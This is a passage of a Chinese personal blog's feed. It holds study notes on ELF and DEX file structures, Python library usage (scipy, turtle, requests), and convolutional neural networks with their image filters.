e_ident[EI_NIDENT];<span class="comment">//按位标识符</span></span><br><span class="line"> Elf32_Half e_type; <span class="comment">//文件类型</span></span><br><span class="line"> Elf32_Half e_machine; <span class="comment">//ABI(x86等信息)</span></span><br><span class="line"> Elf32_Word e_version; <span class="comment">//文件版本,固定值01</span></span><br><span class="line"> Elf32_Addr e_entry; <span class="comment">//可执行程序入口点地址</span></span><br><span class="line"> Elf32_Off e_phoff; <span class="comment">//程序头部表索引地址,没有则为0</span></span><br><span class="line"> Elf32_Off e_shoff; <span class="comment">//节区表索引地址,没有则为0</span></span><br><span class="line"> Elf32_Word e_flags; <span class="comment">//保存与文件相关的,特定于处理器的标志</span></span><br><span class="line"> Elf32_Half e_ehsize; <span class="comment">//ELF头部的大小</span></span><br><span class="line"> Elf32_Half e_phentsize; <span class="comment">//程序头部表的单个表项的大小</span></span><br><span class="line"> Elf32_Half e_phnum; <span class="comment">//程序头部表的表项数</span></span><br><span class="line"> Elf32_Half e_shentsize; <span class="comment">//节区表的单个表项的大小</span></span><br><span class="line"> Elf32_Half e_shnum; <span class="comment">//节区表的表项数</span></span><br><span class="line"> Elf32_Half e_shstrndx; <span class="comment">//String Table Index,在节区表中有一个存储各节区名称的节区(通常是最后一个),这里表示名称表在第几个节区。</span></span><br><span class="line">}Elf32_Ehdr;</span><br></pre></td></tr></table></figure></li><li><strong>程序头部表</strong><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>{</span></span><br><span class="line"> Elf32_Word p_type; <span class="comment">//此段的作用类型</span></span><br><span class="line"> Elf32_Off p_offset; <span class="comment">//段相对于文件的索引地址</span></span><br><span class="line"> Elf32_Addr p_vaddr; <span class="comment">//段在内存中的虚拟地址</span></span><br><span class="line"> Elf32_Addr p_paddr; <span class="comment">//段的物理地址</span></span><br><span class="line"> Elf32_Word p_filesz;<span class="comment">//段在文件中所占的长度</span></span><br><span class="line"> Elf32_Word p_memsz; <span class="comment">//段在内存中所占的长度</span></span><br><span class="line"> Elf32_Word p_flags; <span class="comment">//段相关标志(read、write、exec)</span></span><br><span class="line"> Elf32_Word p_align; <span class="comment">//字节对其,p_vaddr 和 p_offset 对 p_align 取模后应该等于0</span></span><br><span class="line">} Elf32_phdr;</span><br></pre></td></tr></table></figure></li><li><strong>节区头部表</strong><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>{</span></span><br><span class="line"> Elf32_Word sh_name; <span class="comment">//节区名称,此处是一个在名称节区的索引</span></span><br><span class="line"> Elf32_Word sh_type; <span class="comment">//节区类型</span></span><br><span class="line"> Elf32_Word sh_flags; <span class="comment">//段相关标志(read、write、exec)</span></span><br><span class="line"> Elf32_Addr sh_addr; <span class="comment">//节区索引地址</span></span><br><span class="line"> Elf32_Off sh_offset; <span class="comment">//节区相对于文件的偏移地址</span></span><br><span class="line"> Elf32_Word sh_size; <span class="comment">//节区的大小</span></span><br><span class="line"> Elf32_Word sh_link; <span class="comment">//节区头部表索引链接</span></span><br><span class="line"> Elf32_Word sh_info; <span class="comment">//附加信息</span></span><br><span class="line"> Elf32_Word sh_addralign;<span class="comment">//对齐约束</span></span><br><span class="line"> Elf32_Word sh_entsize; <span class="comment">//某些节区中包含固定大小的项目,如符号表。对于这类节区,此成员给出每个表项的长度字节数。 如果节区中并不包含固定长度表项的表格,此成员取值为 0。</span></span><br><span class="line">}Elf32_Shdr;</span><br></pre></td></tr></table></figure></li></ul><h2 id="DEX文件结构"><a href="#DEX文件结构" class="headerlink" title="DEX文件结构"></a>DEX文件结构</h2><h3 id="概述-1"><a href="#概述-1" class="headerlink" title="概述"></a>概述</h3><p> DEX是位于Android Dalvik虚拟机上运行的程序。<br> <img src="DEX%E6%96%87%E4%BB%B6%E7%BB%93%E6%9E%84.png" alt=""></p><h3 id="详解-1"><a href="#详解-1" class="headerlink" title="详解"></a>详解</h3><ul><li><p><strong>header</strong></p></li><li><p><strong>string_ids</strong></p></li><li><p><strong>type_ids</strong></p></li><li><p><strong>proto_ids</strong></p></li><li><p><strong>field_ids</strong></p></li><li><p><strong>metrods_ids</strong></p></li><li><p><strong>class_defs</strong></p></li><li><p><strong>data</strong></p></li><li><p><strong>link data</strong></p></li></ul>]]></content>
<summary type="html">
<h1 id="计算机的文件结构"><a href="#计算机的文件结构" class="headerlink" title="计算机的文件结构"></a>计算机的文件结构</h1><h2 id="PE文件结构"><a href="#PE文件结构" class="headerli
</summary>
<category term="安全" scheme="https://iwannatobehappy.github.io/tags/%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>课堂知识辅助链接</title>
<link href="https://iwannatobehappy.github.io/2019/06/24/%E8%AF%BE%E5%A0%82%E7%9F%A5%E8%AF%86%E8%BE%85%E5%8A%A9%E9%93%BE%E6%8E%A5/"/>
<id>https://iwannatobehappy.github.io/2019/06/24/%E8%AF%BE%E5%A0%82%E7%9F%A5%E8%AF%86%E8%BE%85%E5%8A%A9%E9%93%BE%E6%8E%A5/</id>
<published>2019-06-24T02:13:01.000Z</published>
<updated>2019-06-24T02:14:34.014Z</updated>
<content type="html"><![CDATA[<h1 id="密码学"><a href="#密码学" class="headerlink" title="密码学"></a>密码学</h1><ul><li><p>AES对称加密算法</p><p><a href="https://blog.csdn.net/qq_28205153/article/details/55798628" target="_blank" rel="noopener">https://blog.csdn.net/qq_28205153/article/details/55798628</a></p></li></ul>]]></content>
<summary type="html">
<h1 id="密码学"><a href="#密码学" class="headerlink" title="密码学"></a>密码学</h1><ul>
<li><p>AES对称加密算法</p>
<p><a href="https://blog.csdn.net/qq_282051
</summary>
</entry>
<entry>
<title>python库函数使用笔记</title>
<link href="https://iwannatobehappy.github.io/2019/06/18/python%E5%BA%93%E5%87%BD%E6%95%B0%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/"/>
<id>https://iwannatobehappy.github.io/2019/06/18/python%E5%BA%93%E5%87%BD%E6%95%B0%E4%BD%BF%E7%94%A8%E7%AC%94%E8%AE%B0/</id>
<published>2019-06-18T08:21:04.000Z</published>
<updated>2019-11-12T11:53:41.755Z</updated>
<content type="html"><![CDATA[<h1 id="scipy"><a href="#scipy" class="headerlink" title="scipy"></a>scipy</h1><p>官方文档传送门:<a href="https://docs.scipy.org/doc/scipy/reference/index.html" target="_blank" rel="noopener">https://docs.scipy.org/doc/scipy/reference/index.html</a></p><h2 id="intergrate"><a href="#intergrate" class="headerlink" title="intergrate"></a>intergrate</h2><ul><li><p><strong>scipy.integrate.dblquad</strong>(func, a, b, gfun, hfun, args=(), epsabs=1.49e-08, epsrel=1.49e-08)</p><p>作用:计算二重积分。</p><p>参数:</p><ul><li><p><strong>func</strong> : callable</p><p> 包含至少两个变量的python函数或方法:y必须是第一个参数,x必须是第二个参数。</p></li></ul><ul><li><p><strong>a,b</strong> : float</p><p> x在积分中的上下限 [a,b]。</p></li><li><p><strong>gfun</strong> : callable or float</p><p> y的下边界曲线,它是一个函数,采用一个float型参数(x),并返回一个浮点结果或一个表示常量边界曲线的浮点。</p></li><li><p><strong>hfun</strong> : callable or float</p><p> y的上边界曲线。</p></li><li><p><strong>args</strong> : sequence, optional</p><p> 要传递给func的额外参数。</p></li><li><p><strong>epsabs</strong> : float, optional</p><p> 内部一维正交积分的绝对公差。默认值为1.49E-8</p></li><li><p><strong>epsrel</strong> : float, optional</p><p> 内部一维积分的相对公差。默认值为1.49E-8。</p></li></ul><p>返回值:</p><ul><li><p><strong>y</strong> : float</p><p> 结果值</p></li><li><p><strong>abserr</strong> : float</p><p> 对误差的估计</p></li></ul><p>示例 : </p><p>计算<code>x*y^2</code>在x∈[0,2],y∈[0,1]之间的二重积分。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span><span class="keyword">from</span> scipy <span class="keyword">import</span> integrate</span><br><span class="line"><span class="meta">>>> </span>f = <span class="keyword">lambda</span> y, x: x*y**<span class="number">2</span></span><br><span class="line"><span class="meta">>>> </span>integrate.dblquad(f, <span class="number">0</span>, <span class="number">2</span>, <span class="keyword">lambda</span> x: <span class="number">0</span>, <span class="keyword">lambda</span> x: <span class="number">1</span>)</span><br><span class="line"> (<span class="number">0.6666666666666667</span>, <span class="number">7.401486830834377e-15</span>)</span><br></pre></td></tr></table></figure></li></ul><hr><h1 id="turtle"><a href="#turtle" class="headerlink" title="turtle"></a>turtle</h1><p><a href="https://blog.csdn.net/ameng001/article/details/81182388" target="_blank" rel="noopener">原文链接</a></p><ul><li><p>基础概念</p><ul><li><p>画布(canvas)</p><p>画布就是turtle为我们展开用于绘图区域, 我们可以设置它的大小和初始位置。</p><p>常用的画布方法有两个:<strong>screensize()</strong>和<strong>setup()</strong>。</p><p><strong>(1)turtle.screensize(canvwidth=None, canvheight=None, bg=None)</strong></p><p>参数分别为画布的宽(单位像素), 高, 背景颜色</p><p>如:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">turtle.screensize(<span class="number">800</span>, <span class="number">600</span>, <span class="string">"green"</span>)</span><br><span class="line">turtle.screensize() <span class="comment">#返回默认大小(400, 300)</span></span><br></pre></td></tr></table></figure><p><strong>(2)turtle.setup(width=0.5, height=0.75, startx=None, starty=None)</strong></p><p>参数:</p><ul><li>width, height: 输入宽和高为整数时, 表示像素; 为小数时, 表示占据电脑屏幕的比</li><li>(startx, starty): 这一坐标表示 矩形窗口左上角顶点的位置, 如果为空,则窗口位于屏幕中心<br>如:</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">turtle.setup(width=<span class="number">0.6</span>, height=<span class="number">0.6</span>)</span><br><span class="line">turtle.setup(width=<span class="number">800</span>, height=<span class="number">800</span>, startx=<span class="number">100</span>, starty=<span class="number">100</span>)</span><br></pre></td></tr></table></figure></li></ul></li><li><p>画笔</p><ul><li><p>在画布上,默认有一个坐标原点为画布中心的坐标轴, 坐标原点上有一只面朝x轴正方向小乌龟。</p><p>这里我们描述小乌龟时使用了两个词语:标原点(位置),面朝x轴正方向(方向),turtle绘图中, 就是使用位置方向描述小乌龟(画笔)的状态</p></li></ul></li></ul><p><strong>(1)画笔的属性</strong></p><p>画笔有颜色、画线的宽度等属性。</p><p>1) turtle.pensize() :设置画笔的宽度;</p><p>2) turtle.pencolor() :没有参数传入返回当前画笔颜色;传入参数设置画笔颜色,可以是字符串如”green”, “red”,也可以是RGB 3元组。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">>>> </span>pencolor(<span class="string">'brown'</span>)</span><br><span class="line"><span class="meta">>>> </span>tup = (<span class="number">0.2</span>, <span class="number">0.8</span>, <span class="number">0.55</span>)</span><br><span class="line"><span class="meta">>>> </span>pencolor(tup)</span><br><span class="line"><span class="meta">>>> </span>pencolor()</span><br><span class="line"><span class="string">'#33cc8c'</span></span><br></pre></td></tr></table></figure><p>3) turtle.speed(speed) :设置画笔移动速度,画笔绘制的速度范围[0,10]整数, 数字越大越快</p><p><strong>(2)绘图命令</strong></p><p>操纵海龟绘图有着许多的命令,这些命令可以划分为3种:<strong>运动命令</strong>,<strong>画笔控制命令</strong>和<strong>全局控制命令</strong></p><p><strong>画笔运动命令:</strong></p><table><thead><tr><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>turtle.forward(distance)</td><td>向当前画笔方向移动distance像素长</td></tr><tr><td>turtle.backward(distance)</td><td>向当前画笔相反方向移动distance像素长度</td></tr><tr><td>turtle.right(degree)</td><td>顺时针移动degree°</td></tr><tr><td>turtle.left(degree)</td><td>逆时针移动degree°</td></tr><tr><td>turtle.pendown()</td><td>移动时绘制图形,缺省时也为绘制</td></tr><tr><td>turtle.goto(x,y)</td><td>将画笔移动到坐标为x,y的位置</td></tr><tr><td>turtle.penup()</td><td>移动时不绘制图形,提起笔,用于另起一个地方绘制时用</td></tr><tr><td>turtle.speed(speed)</td><td>画笔绘制的速度范围[0,10]整数</td></tr><tr><td>turtle.circle()</td><td>画圆,半径为正(负),表示圆心在画笔的左边(右边)画圆</td></tr></tbody></table><p><strong>画笔控制命令:</strong></p><table><thead><tr><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>turtle.pensize(width)</td><td>绘制图形时的宽度</td></tr><tr><td>turtle.pencolor()</td><td>画笔颜色</td></tr><tr><td>turtle.fillcolor(colorstring)</td><td>绘制图形的填充颜色</td></tr><tr><td>turtle.color(color1, color2)</td><td>同时设置pencolor=color1, fillcolor=color2</td></tr><tr><td>turtle.filling()</td><td>返回当前是否在填充状态</td></tr><tr><td>turtle.begin_fill()</td><td>准备开始填充图形</td></tr><tr><td>turtle.end_fill()</td><td>填充完成;</td></tr><tr><td>turtle.hideturtle()</td><td>隐藏箭头显示;</td></tr><tr><td>turtle.showturtle()</td><td>与hideturtle()函数对应</td></tr><tr><td><strong>全局控制命令</strong></td><td></td></tr></tbody></table><table><thead><tr><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>turtle.clear()</td><td>清空turtle窗口,但是turtle的位置和状态不会改变</td></tr><tr><td>turtle.reset()</td><td>清空窗口,重置turtle状态为起始状态</td></tr><tr><td>turtle.undo()</td><td>撤销上一个turtle动作</td></tr><tr><td>turtle.isvisible()</td><td>返回当前turtle是否可见</td></tr><tr><td>stamp()</td><td>复制当前图形</td></tr><tr><td>turtle.write(s[,font=(“font-name”,font_size,”font_type”)])</td><td>写文本,s为文本内容,font是字体的参数,里面分别为字体名称,大小和类型;font为可选项, font的参数也是可选项</td></tr></tbody></table><hr><h1 id="requests"><a href="#requests" class="headerlink" title="requests"></a>requests</h1><p>requests的官网维护了自己的中文文档,这真是太友好了!<a href="https://requests.kennethreitz.org//zh_CN/latest/user/quickstart.html" target="_blank" rel="noopener">传送门</a></p><p>值得注意的是,小心requests不是request,后者是一个不知名用户上传的库。。</p>]]></content>
<summary type="html">
<h1 id="scipy"><a href="#scipy" class="headerlink" title="scipy"></a>scipy</h1><p>官方文档传送门:<a href="https://docs.scipy.org/doc/scipy/referenc
</summary>
<category term="python" scheme="https://iwannatobehappy.github.io/tags/python/"/>
</entry>
<entry>
<title>matlab语法学习</title>
<link href="https://iwannatobehappy.github.io/2019/03/16/matlab%E8%AF%AD%E6%B3%95%E5%AD%A6%E4%B9%A0/"/>
<id>https://iwannatobehappy.github.io/2019/03/16/matlab%E8%AF%AD%E6%B3%95%E5%AD%A6%E4%B9%A0/</id>
<published>2019-03-16T09:41:41.000Z</published>
<updated>2019-03-16T11:56:35.360Z</updated>
<content type="html"><</center>]]></content>
<summary type="html">
<center>语法教程网站:[w3cschool](https://www.w3cschool.cn/matlab/matlab-bufy28gd.html)</center>
</summary>
<category term="软件操作" scheme="https://iwannatobehappy.github.io/tags/%E8%BD%AF%E4%BB%B6%E6%93%8D%E4%BD%9C/"/>
<category term="matlab" scheme="https://iwannatobehappy.github.io/tags/matlab/"/>
</entry>
<entry>
<title>深度学习资料</title>
<link href="https://iwannatobehappy.github.io/2019/02/28/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/"/>
<id>https://iwannatobehappy.github.io/2019/02/28/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99/</id>
<published>2019-02-28T07:18:03.000Z</published>
<updated>2020-02-18T01:12:03.786Z</updated>
<content type="html"><![CDATA[<p>简单易懂的博客:<a href="https://www.zybuluo.com/hanbingtao/note/433855" target="_blank" rel="noopener">https://www.zybuluo.com/hanbingtao/note/433855</a></p><hr><h1 id="CNN卷积神经网络"><a href="#CNN卷积神经网络" class="headerlink" title="CNN卷积神经网络"></a>CNN卷积神经网络</h1><ul><li><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a><strong>前言</strong></h2><p>虽然前面的博客很好的介绍了基础的全连接神经网络(因为已经非常清晰所以在自己的笔记里也就不再整理了),但是对CNN的介绍还是有点突兀,因此再参考了另一些博客后自己整理了一下,因为笔记部分是基于自己的理解,部分是搬迁,所以没有用到大多数术语,追求规范的理解还是建议寻找其他网站</p></li><li><h2 id="预备知识"><a href="#预备知识" class="headerlink" title="预备知识"></a><strong>预备知识</strong></h2><p><strong>全连接神经网络</strong> 与 <strong>bp算法</strong>,相关了解可以见<a href="https://www.zybuluo.com/hanbingtao/note/433855" target="_blank" rel="noopener">https://www.zybuluo.com/hanbingtao/note/433855</a>中的一二三部分。</p></li><li><h2 id="卷积神经网络概述"><a href="#卷积神经网络概述" class="headerlink" title="卷积神经网络概述"></a><strong>卷积神经网络概述</strong></h2><p>全神经网络对于图像识别任务,有一下几个缺憾:</p></li></ul><blockquote><ul><li><strong>参数数量太多</strong> 考虑一个输入1000<em>1000像素的图片(一百万像素,现在已经不能算大图了),输入层有1000</em>1000=100万节点。假设第一个隐藏层有100个节点(这个数量并不多),那么仅这一层就有(1000<em>1000+1)</em>100=1亿参数,这实在是太多了!我们看到图像只扩大一点,参数数量就会多很多,因此它的扩展性很差。</li></ul></blockquote><ul><li><p><strong>没有利用像素之间的位置信息</strong> 对于图像识别任务来说,每个像素和其周围像素的联系是比较紧密的,和离得很远的像素的联系可能就很小了。如果一个神经元和上一层所有神经元相连,那么就相当于对于一个像素来说,把图像的所有像素都等同看待,这不符合前面的假设。当我们完成每个连接权重的学习之后,最终可能会发现,有大量的权重,它们的值都是很小的(也就是这些连接其实无关紧要)。努力学习大量并不重要的权重,这样的学习必将是非常低效的。</p></li><li><p><strong>网络层数限制</strong> 我们知道网络层数越多其表达能力越强,但是通过梯度下降方法训练深度全连接神经网络很困难,因为全连接神经网络的梯度很难传递超过3层。因此,我们不可能得到一个很深的全连接神经网络,也就限制了它的能力。</p><p>卷积神经网络对上述问题的解决:</p></li></ul><blockquote><ul><li><strong>局部连接</strong> 对于图像来说,附近的像素的关联程度一般显然的会大于远处的像素,比如一片叶子上的像素,周边的像素显然比远处蓝天内的像素更能说明这是一片叶子。因此让每个神经元不再和上一层的所有神经元相连,而是只与一部分(往往是旁边的一部分)神经元相连,就可以减少很多不必要的参数。</li></ul></blockquote><ul><li><p><strong>权值共享</strong> 一组连接可以共享同一权重,很多图像的特征是有共通性的,利用这种共通性,可以大大减少所需要训练的参数。</p></li><li><p><strong>下采样</strong> 又叫<strong>池化</strong>,顾名思义,就是对提取出的特征集合进行采样,而非对每个元素都进行训练,一来合适的样本数量足以训练出合适的模型,二来过多的参数也容易导致<strong>过拟合</strong>问题。</p></li><li><p><strong>卷积神经网络概览</strong><br>整个CNN模型可以用下图来表示 <a href="https://blog.csdn.net/fu6543210/article/details/82817916" target="_blank" rel="noopener">图片来源</a><img src="/1226410-20180911195826833-1798468626.png" alt=""></p><p>可以看出,神经网络分为5个层级结构,分别是<strong>输入层</strong>、<strong>卷积层</strong>、<strong>激活层</strong>、<strong>池化层</strong>、<strong>全连接层</strong><br>其中,输入层与全连接神经网络中的概念并无差别,全连接层和输出以及激活层在概念上也没什么差别,重点就在于让人懵逼的<strong>卷积层</strong>和<strong>池化层</strong></p></li><li><h2 id="卷积层"><a href="#卷积层" class="headerlink" title="卷积层"></a><strong>卷积层</strong></h2><p>我们考虑这样一件事情:想在一个图片中找到所有的圆形曲线,可以怎么做呢?我们可以将图片每一像素的黑白度用数字表示出来,然后同样将圆形曲线的每一像素的黑白度也用数字矩阵表示出来,然后用圆形曲线的矩阵去匹配原图,匹配的方法就是对应位置相乘再求和,和越大则说明原图中的图案越可能是一个圆形曲线,这有点像小时候飞虎队书里的答案卡的用法:拿一张卡片在一片漆黑的图上来回移动,卡片上透出答案的就是相符的位置。用动画表示如下:<br> <img src="http://upload-images.jianshu.io/upload_images/2256672-548b82ccd7977294.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/640" alt=""><br> 绿色的是原图,黄色的是卡片,规范一点叫做<strong>卷积核</strong>,而红色就是卷积的结果。<br> <img src="http://upload-images.jianshu.io/upload_images/2256672-19110dee0c54c0b2.gif" alt=""><br> 当然很容易理解,<strong>步长</strong>,也就是每一次移动我们的小卡片的间隔将会影响最终生成的红色小卡片的大小,这没什么深奥的。但是,如果步长大于一时,小卡片就可能有一部分移到图像外,这时候我们假设:超出原图的都是空白像素,这也是容易理解的。</p><p>不过,如果我们要识别戴眼镜的人这样一个特征,单单用一个眼睛是不够的,还需要识别出人,这样就需要两个卷积核,生成两个卷积层。同样的,图像往往并非是灰色的,而是RBG三色的,原图也可能先分成三份再来提取特征(深度为3),三张原图提取同一特征,就可能需要三份卷积核,下面给出一张动图,他的原图深度为3,提取两个特征,步长为2,生成两张<strong>表示对应特征符合程度</strong>的矩阵。只是在上面动图的基础上稍稍复杂了点。其中<strong>bias</strong>表示偏置项,其含义与全连接神经网络是一样的。<br><img src="http://upload-images.jianshu.io/upload_images/2256672-958f31b01695b085.gif" alt=""></p></li><li><h3 id="卷积应用示例"><a href="#卷积应用示例" class="headerlink" title="卷积应用示例"></a><strong>卷积应用示例</strong></h3><p><strong>滤波器</strong></p><p>此节原文来自<a href="https://www.jianshu.com/p/0d67920eaa65?from=timeline&isappinstalled=0>" target="_blank" rel="noopener">卷积滤波器与边缘检测</a> , 原文更为深入。</p><ul><li><strong>图片的高低频率概念</strong></li></ul><p>亮度级别从一个像素到下一个像素变化迅速的图像,被称为高频图像;反之亮度变化相对缓慢的则称为低频图像。如图,毛巾部分相对高频,而天空部分则为低频。<img src="https://upload-images.jianshu.io/upload_images/8789591-a5790c9f95c0af4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/694/format/webp" alt=""></p><ul><li><strong>高通滤波器</strong></li></ul><p> 高通滤波器用于锐化图像和强化图像的高频区域。用人化来说,就是将一张图片转化为相邻像素亮度变化程度的特征图像,如图,纯白与纯黑的部分会因为相邻像素亮度变化程度不大而被过滤为黑色,而黑白交界的区域则会被凸显加亮。容易理解的是,这种变化率越大的部分,越有可能是图像中的物体边界,如大熊猫的身体轮廓。</p><p><img src="https://upload-images.jianshu.io/upload_images/8789591-edfaea93052a4596.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/795/format/webp" alt=""></p><p> 我们知道,一张黑白图片可以用一个二维矩阵来表示,矩阵内的值表示对应像素的亮度。对矩阵进行卷积运算即可实现滤波,那么高通滤波器对应的卷积核应该是什么样的呢?因为高通滤波器重点在于相邻像素亮度差异,卷积核内对相邻像素的权重应该采取负值,而对远一些的对角像素则可以忽视,如矩阵<code>[[0,-1,0][-1,4,-1][0,-1,0]]</code>。上图中右图正是由卷积核生成的。</p><ul><li><strong>Sobel滤波器</strong></li></ul><p> Sobel滤波器常用于边缘检测和强度查找模式,话不多说,先给出卷积核,再分析其作用:<code>Sx=[[-1,0,1][-2,0,2][-1,0,1]]</code> <code>Sy=[[-1,-2,-1][0,0,0][1,2,1]]</code>。先分析Sx:显然原图像中间一列对结果是没有影响的,左边一列为负数,右边一列为正数,靠近正中的权值绝对值(2)大于两侧(1),这可以理解为突出检测的是该像素的左右侧而非其他像素,当原图像左右侧亮度差异过大是,该卷积结果会变大,因此易于分析得出,Sx实现了图像竖方向边缘的识别。同理,Sy则实现了图像横方向的识别,下面给出针对同一张图片,两者卷积结果:如图</p><p><img src="https://upload-images.jianshu.io/upload_images/8789591-989c71fef8f91289.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/840/format/webp" alt=""></p><ul><li><strong>低通滤波器</strong></li></ul><p> 然而,直接使用高通滤波器的效果往往不尽人意,因为一张图片中太容易有不必要的像素差异,对于我们来说,也就是噪音,去除噪音的方式,便是先通过低通滤波器使噪音变得不显著,再使用高通滤波器过滤出没能被低通滤波器完全过滤掉的边界信息。(噪音总是比较弱的,所以经过低通滤波器后,他比正常图像边缘更加不容易被高通滤波器识别)</p><p> 废话了那么多,我们也明白,低通滤波器就是要让像素边界变得模糊,最基础的卷积核便是<code>1/9*[[1,1,1][1,1,1][1,1,1]]</code>。</p><p> <strong>高斯模糊:</strong>均值模糊只是依赖噪音的弱小来保障我们图像的边缘不被完全过滤,而高斯模糊可以更好的做到这一点,详细原理为根据高斯分布的概率密度函数作出卷积核,直接给出一个卷积核。</p><p><img src="%E9%AB%98%E6%96%AF%E5%87%BD%E6%95%B0.png" alt=""></p><p>以下内容转自<a href="https://blog.csdn.net/zouxy09/article/details/49080029" target="_blank" rel="noopener">图像卷积与滤波的一些知识点</a>。</p><ul><li><strong>图像锐化滤波器</strong></li></ul><p> 没什么好解释的,直接看图即可。</p><p> <img src="%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%991.png" alt=""></p><p><img src="%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%992.png" alt=""></p></li></ul><ul><li><p><strong>浮雕滤波器</strong></p><p>突出右下角和左上角的像素差异,可以达到制造阴影的效果</p><p> <img src="%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%993.png" alt=""> </p><p>加大滤波器,从这里我们可以看出,卷积核的大小决定了视角的大小,也从而可以使差异更加突出。</p><p><img src="%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%994.png" alt=""></p></li><li><p><strong>运动模糊</strong></p><p>真是什么事情都可以做哇。</p><p><img src="%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%995.png" alt=""></p></li></ul><ul><li><h3 id="卷积层的更深入理解——多层卷积运算"><a href="#卷积层的更深入理解——多层卷积运算" class="headerlink" title="卷积层的更深入理解——多层卷积运算"></a><strong>卷积层的更深入理解——多层卷积运算</strong></h3><p>虽然之前解释了卷积层的基本操作与意义的理解,但还有很多值得思考的问题。如果我们要找的是一个圆形曲线,上述的卷积层可以很好的完成,但是如果我们要找的是一个可以360度旋转的半圆形曲线,或者我们要找的是一张人脸,那么对单一的特定的卷积核进行卷积运算还能起到效果吗?显然是不行的,易于理解的是,当你的卷积核表示的半圆朝上,而图片中实际的半圆朝下时,卷积核并不能将其识别出来。(其实可能可以使用霍夫圆检测等方式实现,但为了讨论,先视为不能)</p><p>如何让卷积运算所反映的特征不那么死板呢?卷积神经网络给出的答案是:多层卷积运算。</p><p>我们用类比的方式对多层卷积进行理解,提取一张人脸,首先要提取五官特征,这个像眼睛,那个像嘴巴,然后提取五官之间的位置特征,嘴巴应当在两只眼睛的中位线左右,如此提取出一张人脸。当然卷积神经网络并不是如此做到的,但是通过提取特征的特征,可以逐步最终提取出复杂而泛化的特征,就像我们可以求导数的导数来判断分类函数曲线一样。在<a href="https://arxiv.org/abs/1311.2901" target="_blank" rel="noopener">《Visualizing and Understanding Convolutional Networks》</a>(其实因为语言障碍没看下去……)中,作者展示了分层的卷积以及每层卷积可以学到的特征,如图下</p><p><img src="https://s1.ax1x.com/2018/11/18/izLYCQ.png" alt=""></p><p>我们看到,layer1中学到的特征为简单的边缘,而layer2则能学到更进一步的纹理,这些纹理是layer3中几何图形的组成元素,layer4则代表了layer3中几何图形的某种相互关系组合(此时已经有了我们想要的物体的形状),<strong>复杂的模式是由简单模式组合而成的</strong>。</p></li><li><h3 id="卷积层的更深入理解——灵活的卷积运算"><a href="#卷积层的更深入理解——灵活的卷积运算" class="headerlink" title="卷积层的更深入理解——灵活的卷积运算"></a><strong>卷积层的更深入理解——灵活的卷积运算</strong></h3><p>下文来源: <a href="https://zhuanlan.zhihu.com/p/28749411" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/28749411</a>,几乎没有修改,建议直接阅读原文。</p><ul><li><h4 id="分组卷积运算"><a href="#分组卷积运算" class="headerlink" title="分组卷积运算"></a><strong>分组卷积运算</strong></h4><p>我们可以将原图像划分为若干块,再对若干块分别进行卷积运算。</p><p>分组卷积一开始只是因为硬件资源有限,而将一个卷积操作拆分入多个GPU分别进行操作。同时,分组的过程相当于在卷积计算中不再计算那些包含存在于不同分组像素的部分,因此大大减少了参数的数量。分组卷积不但可以防止过拟合,还可以显示图像分区。</p><p><img src="%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%996.png" alt=""></p></li><li><h4 id="多个小卷积核的好处"><a href="#多个小卷积核的好处" class="headerlink" title="多个小卷积核的好处"></a><strong>多个小卷积核的好处</strong></h4><p>我们考虑这样一件事情:想要更好的提取出图像的一种特征,是应该选取更大的卷积核好,还是应该选取更多的卷积核?1个<code>5*5</code>的大卷积核和2个<code>3*3</code>的小卷积核,哪一种对特征的提取效果更好?</p><p>首先介绍感受野:在卷积神经网络CNN中,决定某一层输出结果中一个元素所对应的输入层的区域大小,被称作感受野receptive 